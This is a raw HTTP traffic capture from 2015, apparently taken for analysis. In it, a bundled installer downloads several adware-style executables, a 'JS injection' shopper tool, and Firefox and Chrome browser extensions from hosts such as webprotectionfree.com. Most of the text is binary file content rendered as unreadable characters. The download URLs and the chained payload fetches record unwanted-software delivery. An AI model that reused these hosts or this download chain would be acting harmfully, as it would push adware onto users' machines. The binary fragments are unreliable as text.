Content-Length: 250000
Connection: keep-alive
x-amz-id-2: t3oPE4gtdTHChLuuFAHzGpxc8jIeMxvqAGNhEWdgKE8ZmiyMvFymTwVgD17KnyCjaFq2pjsECwM=
x-amz-request-id: E01D94CEEAA73E80
Last-Modified: Thu, 30 Apr 2015 05:20:00 GMT
ETag: "fc39515174f5c66488d0681c42472687"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2750000-2999999/4738134
s.......&...V....D.......)........|..B!#d@Y..#...I...2=..{!.p..t.MKz.1
%......>..XEn..z.Q.l....r{...~....$/....qx...Rc.!..mo...V.F`.6.#..:
)...S8~........?_.uA...c..NF...z..3y-0to....^.].q...o......]...[m.6k.r
.S.@........$...........I...&......"....Z.i6./...,...R.5..Y...uTR..".^
k/.....C.,~....*....\.w....- .}o....>....<.j..J.i.....q..?...l.G
@..F...R'[email protected]...[.s.IJ.J.Ts=].N....'^............#%.Po8..-la.kt...
.q.\.X....2r.1.L....7-r.k...'..r.Q.8..].a=..O1"A....n...|.U.[..$4.:...
;...#.......[].o....W.^(..B.......u.... ..Y.....g..o...J.T}D:\...g..#.
...b {w]..$Y.....C....|.`......~]=Vo.....f.U.....p.0.D.........[2.....
..sQ.>r.`utZ@{-}.g...Y.R5P.r.E.-7..b..8.jK...9..a.l>.~w.J..5...A
.P....<{.G".........\0..y..0............;.^......wu.Y......;..K.z.9
...#....n;........>.)>.*..K..K..X..0..Z...rl.}XGa...;W.......;F&
lt;a..#j..4..H..h..6...>.=N..... Q...]..%.EFK8.[b[...../..S.#7.P...
....D.M6.&....i..6W......9.`...e.. .VY'.......Fw^.6a...>l.....B{...
(..s.......V....,MT..V..Q..d.&..,..PV...BV.K...7...a4.-..]%e=. ..Hq.G.
qa%..4.&.....).MS.d..o...Z.....X.X.a.?.. .&....gO..#..b....O).~.....8.
..f.z...V.k. [...gH....../.]..")........`..3{....1g.hM.6:...~.k.:o".B.
.XU....?%%.9NH._D........;.....N~.G.....N..4.....Q.....I.....1a...vsW`
...=..A....N..d.w'.s...~... ........=|.....<-C........!d]..uW...jC.
.-Z}@.0t..]|.(.H...I?.......A.......3.....V....!D*))..4..9E..T...#7o.}
.].`.I..d=.........?Y.^...4.t.e.p..tkFt?..k#..Zv].f....%...f.J...E.P..
.......O.....Q:..9[.]....#.......[....x#K..Y.F..c..o..-..D.%....c&
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=3500000-3749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: ez1lb5-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:06 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: t3oPE4gtdTHChLuuFAHzGpxc8jIeMxvqAGNhEWdgKE8ZmiyMvFymTwVgD17KnyCjaFq2pjsECwM=
x-amz-request-id: E01D94CEEAA73E80
Last-Modified: Thu, 30 Apr 2015 05:20:00 GMT
ETag: "fc39515174f5c66488d0681c42472687"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3500000-3749999/4738134
o0.J..$..-....m..3.}.e> :L...............t..>.}W.......#..wuz%`.
[email protected].]..*P.Z..z0.:B...........b.;k./.d...X.........k.Km....|..
..Z...u..;;N"...4.U.9..$4d...D..ol_.N.e.....I;....S.:!.[.=Xl.....)}...
x3..t...S.............M...vQ..I.e..Ez....a?..x.6.A....Y....b.]]s.}....
.&t.y1....I..R.........'..OC.4... v.....e.InDQ.......w..Ct..(.n.Q%N..d
.Q.....[k?.....k.I.h..Bt.\...0.@U.]...1*.x......1..N...).jVx...P)....@
..l.:..3.,......1.6.....,J8...K.....r..5..3...Ez..\.^..)b3....._.~...q
..y.....yy.G(.........X.K.Hn....}8......... ..Qs....w...#..K..y...2s.Z
{%....f.`.A.?..[.~zCY..V_...>\.....E.7....qa  .rM.pC.u$I..-2^#...B,
v..B..UE.A[.....m...q...X.......w..,IH.p.ub].[7..&#.f..U{..2R.,......p
.........|.1}6A.6R...%\..v.t....B:.]%....._h..K..s.f.....[..(.bu.].~..
..\..W.....DP.eF%.....V...=...J ..%...3..p..0Lf..}.....*..-..l .......
.0.W....e.U.q.v.z.....y'.k.e.y.$(?.........u.S.............br.A_...p..
Ex=.f@ R.......9;<.X}...I ..e:........k....).ZmN..A..]3&...7DQ`.8.v
..(`-..2v...0.B2U=Y-..5..... ...s.3.cB..\.........d.9~.0...`A...L..Z.Q
69..X.g.....C1'...C.......|_..0......'./...Z.._. WX.........r..._L..."
.5g....$.8..:...l.. ..1.k?>.J.....I......'.6./...k.*i..U..B.w..h|.A
..........d....Z..J,.lT\.....)[email protected].
&;m......0.L....XP.....e...W<...U.aUzM..*..lpF........b..;.........
O.\...d....V.\..' .O.L.F6...NM.~.. z..]]....<........]..R..F5......
3.10......f......^p.$.7.I].t.Y0An....T.Cf..e.h..N. .R=....|.....`.G:.]
..`..%.....NX.M#.(..F4.....h.LO...p..].(s.....Qe|.`...1......J.]..
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=4000000-4249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: ez1lb5-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:06 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: t3oPE4gtdTHChLuuFAHzGpxc8jIeMxvqAGNhEWdgKE8ZmiyMvFymTwVgD17KnyCjaFq2pjsECwM=
x-amz-request-id: E01D94CEEAA73E80
Last-Modified: Thu, 30 Apr 2015 05:20:00 GMT
ETag: "fc39515174f5c66488d0681c42472687"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4000000-4249999/4738134
j^..k...".....6.~...S........!.%'...B..}..v...........`~.'m...wT. .j.Y
[.}.re..~....|.J..c.^..x..AD.].g.E<..p.;\.....$wt...J.......UJ.Y{!.
....;5........9d....-......`n......b.X.c.$..3.K. .e..t....O2..K...7.. 
SYa..T.d..:.D.s......xd..?.?..i..:.^. ...,.3)[email protected]...~..P.-E.`.>K
n`..~......\.K}7..n.BP........../.t<..R.{('.7/s.okJ....T..cT..$.%.}
.?.][...F4..@n.$x.]..m....z.....M.[j..?....ENT..$.F.q..h.....i..7g:0.h
i.......a.7.O..L..`?E.U..O%..Z.}........,Yy...S....../.."..I.?....?9VT
.B.X Ro^..a........T....X\........k... y.ej}.Q..U1...x\.... ...>...
.....Z./.q.I.{..N..rg.E....O2..,...n....x.....e....N..r .....5H=...._5
....<[email protected]*[~'....._0K..n.....!..gY...}....n~.....x..... ..
iUi......z..........h.=.Y...y.@.....:l..7..:.._..)$....Any.........p..
q&...F..~.6.....&N..;O..N.x."..<....`..{F..dP..p.gb.5-q..."C...Z..g
V.........F.<..-^.`.%..J.....0..P.=8..E..,..-.9...(..U........n....
.o.*..^K/sY'K.. ...J......u.R...%.D.'=6..V..h.3.EFg..M.\&sb.9`....t/n3
.;H..C.'}..u....h...h.8..$yqd....1z.J.j...v.T..O...1......6...^..D%...
......?...N.K....L>...&].e.V.e..O...r26R,[email protected]...
.6!p.}..*,.....#...c..`...R..J.6......i8...<..t..3]-.....<.|...~
.X...E.*......i...e..W.f..v.....z...T...(Vn0g.../.....t..C....U...B...
..~Br.j@U..^....A[c....i... ....*..Hv....:W.r.....]Fy7.Kn.......]....0
\(x.Ie.\...qNf..6..Y\.*f.B.l....Gr...F..0..)G~....2....3@E..._.ma.. ..
...;.........g n.\..P....m@.._..... ..v..o..cq..;.h.........H?..K...Rn
k`x...dzvoN?.QI.......bo.....X!...Z#Q-.%.c...,.... D=..m|1./...y-.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=4250000-4499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: ez1lb5-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:06 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: t3oPE4gtdTHChLuuFAHzGpxc8jIeMxvqAGNhEWdgKE8ZmiyMvFymTwVgD17KnyCjaFq2pjsECwM=
x-amz-request-id: E01D94CEEAA73E80
Last-Modified: Thu, 30 Apr 2015 05:20:00 GMT
ETag: "fc39515174f5c66488d0681c42472687"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4250000-4499999/4738134
..E.ms.....Z"uq..v;[i........5.!......`l.$.....lLv..D_..v...j,'......]
...I..d.B.......dd.>.32s./}....d..B..Z;.k.,W........e....^.._.>.
......|....).............#..Q..| .ITv...'...P%.@.$.f,j...Xy`..N...d..#
} ..n/.z.vg.O.........?......oN..d....-...|......4k.......Q.......La..
..U8B.Q.ND..r|.f.............9$....],aY..z......;......D.; ......n..&.
>...4..Kn.a.ROr..~..p0Q..z.:S3...]Eve......xd..;u{u.............)..
.P.Q.,.. .S.q.F....J7\.....Y}....0.)[.&K......q. l..I.J...S...e..!.L..
._.....(N;...H.}!...P......".....Z.A.|4N_..h..E......../t..)J..<..2
..!.>..^j...F..F.|.....m....@q...`..... ..f.%.F.>.Zy....8..b...^
.....`........^.T.B......>..zc,c.....0....;U..uEd...^.....6R....1..
N$i..<.A#.D`: ?.S..zZ.XdHM. :...%.>HbZ........"..OoW.....v7..,.;
x].Q.i~.;.I,.A..2P..........z.l.6!..7....f../...7.....G.DA:`.e7...S.0.
.$...<0...O..\....U....."..$W.r|.;Z....1r...b...v.N.........W..CS.G
...d..4.HW.\....>."[email protected][email protected].~.N...?:........q....
..TF.?....v.?.f.g.w..g..i{)Co&..{! .._..[.f....6|m...*...QUh3..p...r.7
..D}.... .....aV.d..G.k(.....o].'.....d.....t....*..[...iv....Z.y..?.y
.q8..j.k.!.mg-.B..r..ec...........R..."AU.....0...r....c?.bX`e....p...
.[.\..]./........T.)....04........,.~..T..B..`.PL..J.<.............
.A...=..r^)..!.E...-.WG.P. ..a_g.3..Z..m........lQ.|Es".#...h......C..
c.<.S.v.p,SDB[....W..M<\.yw(c.cl.#f.=.s..; ......D... ...{.U...G
ME....C$..).%q.b..f....._.C[..%g..!.....PJ............Z....Aj...r..4r.
R6.,e..L.....4.&@E)5.x.[...Geo..y{.j....#Q...T...)YB.-. ...y.#.}$.
<<< skipped >>>


GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1
Range: bytes=73277-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 512937
Connection: keep-alive
Date: Sun, 26 Apr 2015 07:01:19 GMT
x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671
Cache-Control: max-age=3600
Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT
ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 73277-586213/586214
Age: 1492
X-Cache: Hit from cloudfront
Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: VmmEsWgpKVa_sTBrbYwhZOXjxio-w_yuCPoEmu33b6q140EM96sP-Q==
.9.z.f..2......./5h_G. zh@>.........8.Q$Rj....m&........g.c......,.
..>5.Q...Qr...~p..(..>.;./%..a....!..,....-...k.z..<....@h#~}
fN..x.Xi.&..._%cR....L........%...L.....cw/zi.d.t.*..u....D..9?'......
}..}..Y....G{.c....?W4....3.K1..9gUy][email protected]{..kY.r..@.
..... ........."."1........\.n...&..a!5...Y....s.s...GS.......*.......
..3..G.a.HT....E...*$..!.'l..h\.........a...MS.9...oz%.^.....>..r..
.~..[.....6Mw....E......soU[......f#..V&.7P.......?*.$.8P..,.j.....1..
[email protected]...%R......j,Ba]..........#:....j`..I<Tw.)GA
'X-..M....x(o9...eG...&g.S........Sk...ak..E.b.L?..0..Q...............
 .$.f.NR$...rv.=.#.....MG..#QQ..Y....;,..dno.u....x.......H3...Z...(y.
.......~...8(..H.#..}.....h....Y.....[.2....)a.%.}8.^w.........N.5.R}A
(..>.<.-G*....n=..a.?.......V..H.....I.[Q.Zs,..T..T(..{.:.^(..%.
.k.^o.....q*..V,..eAej..u.t.,qi.Q.Z#..V.I........M......>.%...)....
D....L'[V...tl.....Owm..{._..g......d.5....4D9..|..#X[...t:lvP'\....j8
.".}[email protected].}k2.|L.....p...[..d. .s.....r^..;V.._.6.....
U&...g..K.*......@... [./...9.........e...oF....k....=L...(#.M.u......
|....j....*2......./.."B.S.QK....7....[....;& [email protected]......^.Z@....>
;.Z7?....5R/..4<.. ~...;...87.D.....V.&.....vm..?.....i......l.L(.C
..1....o...?.pF.[.Q.........6...0MsN...P.Go.[S...4...C#..{.g02.cU....U
 ..z.......g...o..g.x$..Z.^Z...:......iW\...p.JbP...1#...2<o...}r.3
(......1.f.....F...n..i...l......,).Vm.]...s......`..V[_^........b&.w&
"hy=/{.../.Z.D[M.vB.1.2P...*.j.?...bFL.......W...`..C....O*...8.. 
<<< skipped >>>


GET /node/?s=9813&br=4 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:44 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: ../c/LiveUpdateWPP_is.exe
0......


GET /c/LiveUpdateWPP_is.exe HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:44 GMT
Content-Type: application/octet-stream
Content-Length: 280251
Last-Modified: Wed, 29 Apr 2015 09:14:13 GMT
Connection: keep-alive
ETag: "5540a0e5-446bb"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................^...|.......0.......p....@.........................
.................................................t..........8.........
...................................................................p..
.............................text....].......^.................. ..`.r
data.......p.......b..............@[email protected]..........
....@....ndata...................................rsrc...8............z
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /node/?s=9813&br=2 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:47 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: ../a/9813.xpi
0......


GET /a/9813.xpi HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:47 GMT
Content-Type: application/x-xpinstall
Content-Length: 39202
Last-Modified: Mon, 30 Mar 2015 12:17:50 GMT
Connection: keep-alive
ETag: "55193eee-9922"
Accept-Ranges: bytes
PK.........|}F..O.8...........chrome/content/main.js.W[o.H.~&R.....o)N
 .vU Z.1n..M6n.'.a...3...F ...a...i..~....;......[.Y$.c...]#..h.......
......Z.G[8...../....'......g>sW...g.W.'...CM........A.9%.).'..=...
.*\.g.../..M....S...p........v<.2./W..\.......z.Fa..2%.q......x..u.
....r".v....]....4...B.q..[>...n.....O...&{._..G.tI...b..;<.Y.y.
8.n.E....4.x*'..E..S.$..B.r..j$."..S...fF..i..H..!......~..OB.1....Gt3
 .E.......B.1......~.(%U.uv...W..tK\7t.S.....0...>...`F...P.r.u Y..
c.......2<........c.Y.E.. .WV..Z...v..eS.V.Q.....^MrK.%~.E.l.b...*l
n<..x..e...~....:2_.F...ja.UN>....5/y........*.t.....|...l....z.
.....`.&D....2..k. .O."......e....:[email protected]>.!zk<4......O.(..:2..
c"..I..E..Y;@..$*....BU.........jo.....ubo.Q....i|&..<....=..p.....
<...m...U......b,.2@.......<7..&.7.v.v1..-....`.6........L..o.t.
.[.../.....%&d o.K.......$...d:......%[email protected].`....&^
Q.;7...Rr.]ij.V...;.....r<...i. 3........^&{)....6......./L...O^..l
..?.,..5....._.]..k?.T..U...S..9./z...b...j...#.J.2.xf..G.D. 4...O...q
q....d..q......1...&if#......!=..U...%^.yO.....%......O......U.q..O.Yf
h..W-0.N$.M.e(.J.?(.......l...>[email protected].........|}
FF.a.............chrome/content/main.xul.TMo.0.='@....v.....d..t....C.
....... ..._?}8_.....d.......q.$9.uB....{[email protected]../_.O.......9.%...Ika
[......c=l...5j..^(.q...9Jp4PR..Y8G:.SJ>....26...n>...S.U..,i.hB
.....\..[,.K6........BJ..{.;..,.q.=......\.\ 9.....'.l...08.......5bC.
..<.)q.....V......V.KQ...G._......ws..".6......]>Y.;./..N.Z.
<<< skipped >>>

GET /node/?s=9813&br=5 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:48 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: ../c/SetupWPP.exe
0......


GET /c/SetupWPP.exe HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:48 GMT
Content-Type: application/octet-stream
Content-Length: 257237
Last-Modified: Sun, 22 Feb 2015 09:29:46 GMT
Connection: keep-alive
ETag: "54e9a18a-3ecd5"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........(............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...(............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>

GET /node/?s=9813&br=3 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:48 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: ../c/webprotector_chrome
0......


GET /c/webprotector_chrome HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:48 GMT
Content-Type: application/octet-stream
Content-Length: 32
Last-Modified: Thu, 22 Jan 2015 19:42:16 GMT
Connection: keep-alive
ETag: "54c15298-20"
Accept-Ranges: bytes
kfecnpmgnlnbmipaogfhoacoioifjgko....


GET /node/?s=9813&br=1 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:48 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: ../c/webprotector_installer.exe
0......


GET /c/webprotector_installer.exe HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:48 GMT
Content-Type: application/octet-stream
Content-Length: 288140
Last-Modified: Tue, 31 Mar 2015 13:09:04 GMT
Connection: keep-alive
ETag: "551a9c70-4658c"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s...........C........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...@[email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=130814-261628
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:27:18 GMT
Date: Thu, 30 Apr 2015 09:27:18 GMT
Content-Range: bytes 130814-261628/523256
Content-Length: 130815
Connection: keep-alive
[email protected]}R...;B...,..vgQ4...W..O&....=.....
..s../y.wa.h.0p$.Vf.J...JD..j5..........;...Y.....:k.tT=..x./....E..n.
..........$.s=.....)8p.E....B..c.$..Vj;.,.t.D|6d.B.lp.>Y.C.........
w.^|..Yx.P`N..j.RN.. ...~...Lok.....o..m%`,@,.....J.S...jM@.....#...J.
.h..U^...`.RV.,^z..1.d/>?.u.\......{.r.l....M........e.&...[.6<.
.M.......h.^...H.)..6.........../.O.]........W}. ...$..x9.9.i.......).
.~..b.T.........f...<8...C..$>YC............t..R.....`.*Q.va...q
@..........q.........Yz..`.....i...X.y...1.KQ...w,d.....4Oxn....... (.
...6.MY. .u...".Q.Fn.D..<..o..M.......&ZYJ.b5.24o...M...j..$...l>
;.`rlx~..~F6Zh..>..`...i.y..-.e.....2.. ..CCkx...&.g.....j..Y......
V.5...5.[....z.J.....R..x..u..i...|.....Y.s..-s.1.>...F.....G...YWH
.0.H.... .6=AQ.s.......%..3n.S.,..RY.D%...l.G^..Ny.QMb...>..=.1:h8.
2.......%.Qv.=.g.i.........{.~.o....5.1g[...._ .C.o.=.....%...[..[..i.
...Z/.z..i..UP.......8...sX..Y......iYI...C.(E7..S..9...H,L...e..^ N.7
...x.Qp.J.T....xz}.....&.%...<,. ..{s.=..Vp.........'./......Zv9.m.
.P.f..8....w...`..pJ....>a.'(....s'...l|t.....WO ..)3......2.....F.
..@...#.v........29.#..w.-...nN..S"w..b........4.HY.......>.v..?...
...>.#..\...sA.......W....^pS.z......9..%Q.l...7.}...[..*<  rq.L
:....[.$7=.=B.mE-......)s..KM...........!..s..xa2...v3..uF...gO.G'.B.e
..-...z#..ck{`.v....`gx....Eg........`[email protected]...'.A.....Z...LVA
Qd.q..( ...........6...6....P"..~.9......47..T.....IE..([.S.O.|o.1{Ue.
.?C^-................T9P.pb..B#.....0_B....:#....v....8<.M:A.."
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache



U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[...U..
QQ.U.SV..i........>B.3...W.M..M..F...t.9M.t.$.B.F.;..>B.sD..i...
...|...B......t.j.R..........u([email protected].;..>B...r.3._^[
.....}..t..}[email protected]$...>B.V3... s495.>B.v,.P.
W....u.3.G...z.t.....$...F......;5.>B.r._^...U.......>B..e..SV..
...W.=.>B..E..E.3.9.tK;.sE.5.>B.........u(.E...t..<..t..M.3.@
......N.#....M...;.u.C......;.r.;.t..E..E...}. r..E._^[.....D$...}.@..
@B.... .Q.WG.....V.t$..j.....>B.k.....8.t\P.....=....tUP.......u.@F
..H.... ..|$..t/[email protected]$...Dr@...}.3.^
...........D$....>[email protected]$...:.....U..........>B
.SV.u.Wj.Y.}..E.3....E..U..........@B..][email protected]....
...$..(@.SP.m:...r.....l6B.9][email protected].
3:[email protected]@[email protected]].u".. ?B.j...`?B
.......M.... ?B..c.....`?B... ?B..R....E..4. ?B.3...;....#M..D.....<
;....4. ?B.V.......p6B..5`r@.;.t.RQ...E....6B.;.......PQ.......j..Z...
[email protected]..<.....W. A....;.tBj\[email protected]
@...u...|p@[email protected]:.u.9].t.j......Wh..B..EE..W..t
p@..^...j..0...S.....P.!H...5...j......j........j........WV..pp@..
<<< skipped >>>


GET //MEIwQDA+MDwwOjAJBgUrDgMCGgUABBQdI2+OBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.godaddy.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:27:02 GMT
Server: Apache
Content-Transfer-Encoding: Binary
Cache-Control: max-age=115984, public, no-transform, must-revalidate
Last-Modified: Thu, 30 Apr 2015 07:21:51 GMT
Expires: Fri, 01 May 2015 19:21:51 GMT
ETag: "588702bdbb973b4f8979b5d0e963df9d65982196"
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
Content-Length: 1741
Connection: close
Content-Type: application/ocsp-response
0..........0..... .....0......0...0.....0..1.0...U....US1.0...U....Ari
zona1.0...U....Scottsdale1.0...U....GoDaddy.com, Inc.100...U...'Go Dad
dy Root Validation Authority - G2..20150430072151Z0d0b0:0... .........
#o..K......#..... ...:....g(.....An ............20150430072151Z....201
50501192151Z0...*.H.............2..0.....M....1V.lm...S.../...4e..)..S
QB>.Y2..s.....Q9..j.<g...............@..........;....y....O.f...
..pj.U.7..J....3r_..;t...l.5.p......8u...<......uXXu..'.....$w%>
r.OU...d..9.....u...n>a%.{.X.._Qr.zQ......h.[%zy.%S.x.tY..Q.......K
...b....l...L}..u..........0...0...0..q..........t....o0...*.H........
0..1.0...U....US1.0...U....Arizona1.0...U....Scottsdale1.0...U....GoDa
ddy.com, Inc.110/..U...(Go Daddy Root Certificate Authority - G20...15
0316070000Z..160316070000Z0..1.0...U....US1.0...U....Arizona1.0...U...
.Scottsdale1.0...U....GoDaddy.com, Inc.100...U...'Go Daddy Root Valida
tion Authority - G20.."0...*.H.............0.........xo(....QQ.`L.~...
&...a.F.=.....d=....."......?...\..........b.D....l=.HS.N......A..;...
.C)...(..T........XA-N....k1 .....ag...,4.L{.I..hEKb..K......!.(...7..
..p.O...X.._........8.B..k[4...........e.../....^.S..7A.b.oB..\......2
%.|c...A....Fk.T..24.0B...p.........0..0...U.......0.0...U...........0
...U.%..0... ......... .......0...U.......O........f...e..r..0... ....
[email protected]./hXXp://crl.godaddy.com/repository/gdroot-g2
.crl0J..U. .C0A0?..`.H...m....000... ........"hXXp://crl.godaddy.com/r
